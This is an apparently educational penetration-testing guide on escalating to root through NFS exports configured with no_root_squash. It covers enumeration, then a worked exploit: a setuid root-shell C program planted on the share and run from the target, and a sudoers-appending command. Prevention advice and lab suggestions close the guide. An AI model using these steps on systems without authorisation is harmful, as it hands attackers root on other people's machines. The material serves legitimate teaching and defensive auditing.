Linux Privilege Escalation: NFS

Your PATH Hijacking guide closed by flagging NFS as a genuine category shift — every technique so far in this series (SUID, Capabilities, Cron Jobs, PATH Hijacking) exploited something privileged trusting something an attacker already controlled **locally**. NFS misconfiguration is the first technique in this series where the trust boundary being abused is a **network** one: a remote client is trusted to accurately report its own users' UIDs, and the local machine believes it. Worth locking in the distinction immediately: **Part 1 covers how NFS's UID-trust model works and why `no_root_squash` specifically breaks it — Part 2 covers the actual exploitation workflow**, since NFS privilege escalation is a comparatively short, mechanical technique once the underlying trust gap is understood — the hard part is entirely conceptual, not technical.

---

1. How NFS Handles Identity — The Foundation

NFS (Network File System) lets a server export a directory that remote client machines can mount and access as if it were local. Critically, in NFSv3 (and NFSv4 without Kerberos-based authentication), **user identity is represented purely by numeric UID/GID — there's no cryptographic proof of who's actually connecting**, and by default, the NFS server does something specifically designed to limit the damage this weak trust model could otherwise cause:

```
Normal NFS behavior (root squashing, the DEFAULT):
  A client connects claiming to be UID 0 (root)
  → the SERVER deliberately "squashes" this claim, remapping
     the connecting root user down to an unprivileged UID
     (commonly 'nobody', UID 65534) for all operations on the
     exported share - root on the CLIENT is NOT trusted as root
     on the SERVER'S files

no_root_squash export option (the DANGEROUS misconfiguration):
  The server EXPLICITLY disables this remapping for a given
  export - a client connecting as UID 0 is now treated as
  GENUINE root by the server, for every file operation on that
  share, no questions asked
```

The single fact this entire guide exploits — if you have (or can obtain) root on ANY machine that's permitted to mount an `no_root_squash` NFS export, you can

create files on that share AS ROOT, and since the share is the same underlying storage the target server sees, those root-owned, root-permission files exist on the TARGET too — including files with the SUID bit set, which is exactly the bridge back into your SUID guide's exploitation techniques.

PART 1: Identifying the Misconfiguration

2. Enumerating NFS Exports From the Target Side

```
cat /etc/exports
showmount -e <target-ip>
```

```
/etc/exports example:
  /srv/nfs/shared  192.168.1.0/24(rw,no_root_squash)
                                  ^^^^^^^^^^^^^^^^
                                  the dangerous flag - combined
                                  with rw (read-write) access

showmount -e output (from a REMOTE attacking machine, useful when
you don't yet have local shell access to the target and are probing
externally):
  Export list for target-ip:
  /srv/nfs/shared  192.168.1.0/24
```

```
Other relevant export options to check for alongside no_root_squash:
  rw           → read-write (required for this technique - a
                  read-only export can't be used to WRITE a
                  malicious SUID file)
  insecure       → allows connections from non-privileged CLIENT
                   ports, relevant in some restrictive client
                   scenarios but not required for the core technique
```

3. Confirming Which Networks/Hosts Can Actually Mount the Export

```
192.168.1.0/24  → the entire subnet is permitted, meaning ANY
                  machine on this network segment (including one
                  you already have a foothold on from an earlier
                  stage of the engagement) can mount and exploit
                  this export
```

```
*                → wildcard, permitted from ANYWHERE reachable -
                   the most dangerous and least common
                   configuration in practice, but worth explicitly
                   checking for
```

This is the step that determines whether NFS exploitation is even reachable from your current position — if the export is scoped to a network you're not on and can't pivot into, this technique isn't viable regardless of how badly misconfigured the export options themselves are.

PART 2: Exploitation Workflow

4. Mounting the Export From an Attacker-Controlled Machine

This entire technique requires having **root** on the machine doing the mounting — this is usually your own attacking machine/VM, or another compromised host on the same permitted network, NOT the target itself (if you already had root on the target, there'd be nothing left to escalate to):

```
mkdir /mnt/nfs_exploit
mount -t nfs <target-ip>:/srv/nfs/shared /mnt/nfs_exploit
```

5. Creating a Root-Owned SUID Binary on the Share

Because `no_root_squash` is set, files created here while operating as root on your OWN machine are genuinely written to the target's underlying storage AS root:

```
cd /mnt/nfs_exploit

# write a small C program that spawns a shell
cat > shell.c << 'EOF'
#include <stdio.h>
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
```

```
gcc shell.c -o rootshell
chmod u+s rootshell   # set the SUID bit WHILE root on the
client -
                      # this is the critical step no_root_
squash enables
ls -la rootshell       # confirm: owner shows as root, SUI
D bit set
```

6. Executing the Planted Binary From the Target

Switch to your existing (unprivileged) shell access on the actual target system, then execute the binary from the shared mount point:

```
# on the TARGET machine, in your existing low-privilege she
ll:
/srv/nfs/shared/rootshell
# because the file is owned by root and has the SUID bit se
t
# (per your SUID guide's Section 1 mechanics), executing it
from
# the TARGET's side runs it with root's privileges - full
# root shell obtained
```

This is precisely why this guide opened by calling NFS exploitation a "bridge back into SUID" — Sections 4-6 here are entirely about achieving a specific PRECONDITION (a root-owned SUID binary reachable from the target), and once that precondition is met, the actual privilege escalation mechanism is identical to your SUID guide's Section 1.

7. Alternative Payload — Direct File Manipulation Instead of a Binary

Rather than planting a SUID binary, the same `no_root_squash` write-access-as-root can be used to directly modify sensitive files if they happen to be reachable through the export (less common, since exports are usually scoped to specific directories rather than the whole filesystem, but worth checking):

```
# if the export happens to include or provide a path back t
o
# sensitive system files (rare, but possible with a broadly
-scoped
# export):
echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /mnt/nfs_exploit/
etc/sudoers
```

8. Testing Methodology

```
1. Run showmount -e against every host discovered during network enumeration, not just the primary target - NFS misconfigurations are frequently found on secondary/support s ystems within a broader engagement scope

2. For every discovered export, check /etc/exports (if locally readable) or infer perm issions via a test mount attempt directly

3. Confirm rw AND no_root_squash are BOTH present - either alone is insufficient for t his specific technique (read-only defeats Section 5's file creation step; root_squash defeats the entire premise even with write access)

4. Confirm network reachability (Section 3) from a machine where you can obtain local root - your own attacking VM in most engagement scenarios

5. Follow Sections 4-6's workflow precisely, then confirm the resulting shell via id/w hoami on the ACTUAL target, not just on your mounting machine
```

9. Prevention

```
- NEVER use no_root_squash unless there is a specific, well- understood, and narrowly-scoped operational requirement for it - root_squash is the safe default for a reason, and disabling it should be treated as a significant, deliberate risk decision, not a c onvenience toggle

- Scope NFS exports to the NARROWEST possible set of hosts/networks (specific IP addre sses rather than broad subnet ranges or wildcards)

- Prefer read-only (ro) exports wherever the actual use case doesn't genuinely require write access from clients

- Where write access IS required, strongly prefer NFSv4 with Kerberos-based authentica tion (sec=krb5p) over the weak UID-based trust model this entire technique exploits, s ince Kerberos authentication provides genuine cryptographic identity verification rath er than trusting a client's self-reported UID
```

```
- Regularly audit /etc/exports across all NFS servers in an environment as part of sta
ndard configuration review, specifically grepping for no_root_squash as a targeted, re
curring check
```

10. Practical Lab Example

```
TryHackMe and HTB both have dedicated NFS misconfiguration rooms/
boxes; this is also a common secondary finding within broader
multi-host engagement labs, since NFS servers frequently show up
as "supporting infrastructure" (file shares, backup servers) rather
than being the primary target box itself.

Suggested practice order:
1. Set up a lab NFS server with a deliberately no_root_squash,
   rw export, and a separate lab client machine to mount it from
2. Practice Sections 4-6's full workflow manually, compiling your
   own shell.c rather than downloading a premade binary, to
   reinforce the SUID mechanics from your earlier guide
3. Reconfigure the export with root_squash (the safe default)
   re-enabled and confirm the identical workflow now fails -
   directly observe the created binary's ownership silently
   remapping to 'nobody' instead of root
```

Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	CWE-732 (Incorrect Permission Assignment for Critical Resource), CWE-284 (Improper Access Control - covering the broader UID-trust weakness underlying no_root_squash specifically)
OWASP Top 10:2025	A02:2025 Security Misconfiguration
CVSS	Critical (AV:A or AV:N depending on network exposure, PR:L reflecting the need for root on SOME reachable machine, C:H/I:H/A:H given the direct root outcome)
Cyber Kill Chain	Privilege Escalation, with a notable Lateral Movement overlap - this technique frequently becomes relevant specifically AFTER compromising a secondary host on the same network as the real target, making it a bridge between the two kill-chain phases
MITRE ATT&CK	T1210 (Exploitation of Remote Services, covering the network-reachable misconfiguration aspect), T1548 (Abuse Elevation Control

Framework	Mapping
	Mechanism, covering the resulting SUID-based escalation once the file is planted)

Quick Reference Cheat Sheet

```
ENUMERATE:
  cat /etc/exports                    → local, if readable
  showmount -e <target-ip>              → remote, from attacker machine

DANGEROUS COMBINATION TO LOOK FOR:
  /path  <network>(rw,no_root_squash)
              ^^          ^^^^^^^^^^^^^^^
         write access    root NOT remapped - the entire vulnerability

EXPLOIT WORKFLOW:
  1. mount -t nfs target:/export /mnt/exploit    (as root, attacker machine)
  2. write + compile a shell-spawning C program on the mount
  3. chmod u+s the compiled binary                (root-owned, SUID set)
  4. execute the binary FROM THE TARGET's existing low-priv shell

Root lesson: NFS's identity model trusts a connecting client's
SELF-REPORTED UID with no cryptographic verification behind it -
no_root_squash is the specific export option that extends that
weak trust to root itself, and every technique in this guide is
just "abuse that trust to plant a SUID binary," making this guide's
actual payoff entirely dependent on your SUID guide's mechanics
from earlier in this series.
```